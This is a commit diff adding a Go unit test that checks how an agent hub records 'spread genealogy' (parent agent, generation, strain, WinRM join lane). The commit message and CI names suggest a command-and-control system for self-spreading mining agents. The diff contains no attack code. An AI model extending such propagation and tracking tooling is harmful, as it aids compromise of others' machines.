Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -499,6 +499,49 @@ func TestAgentNamePreservedOnReconnect(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthUpsertSpreadGenealogy(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "genealogy-agent",
|
||||
"hostname": "spread-child",
|
||||
"version": "1.0",
|
||||
"parent_agent_id": "parent-uuid-1234",
|
||||
"spread_generation": 2,
|
||||
"spread_strain": "#aabbcc",
|
||||
"join_lane": "winrm",
|
||||
})
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["success"] != true {
|
||||
t.Fatalf("auth should succeed (genealogy is telemetry only): %+v", body)
|
||||
}
|
||||
|
||||
time.Sleep(30 * time.Millisecond)
|
||||
|
||||
agent, err := database.GetAgent("genealogy-agent")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if agent.ParentAgentID != "parent-uuid-1234" {
|
||||
t.Errorf("parent_agent_id = %q", agent.ParentAgentID)
|
||||
}
|
||||
if agent.SpreadGeneration != 2 {
|
||||
t.Errorf("spread_generation = %d", agent.SpreadGeneration)
|
||||
}
|
||||
if agent.SpreadStrain != "#aabbcc" {
|
||||
t.Errorf("spread_strain = %q", agent.SpreadStrain)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentNameUpdatesFromHostnameWhenDefault verifies that the name IS updated
|
||||
// when it was never customised (name == hostname, i.e. the default).
|
||||
// TestCommandResultBroadcastToDashboard is the critical end-to-end test that
|
||||
|
||||
Reference in New Issue
Block a user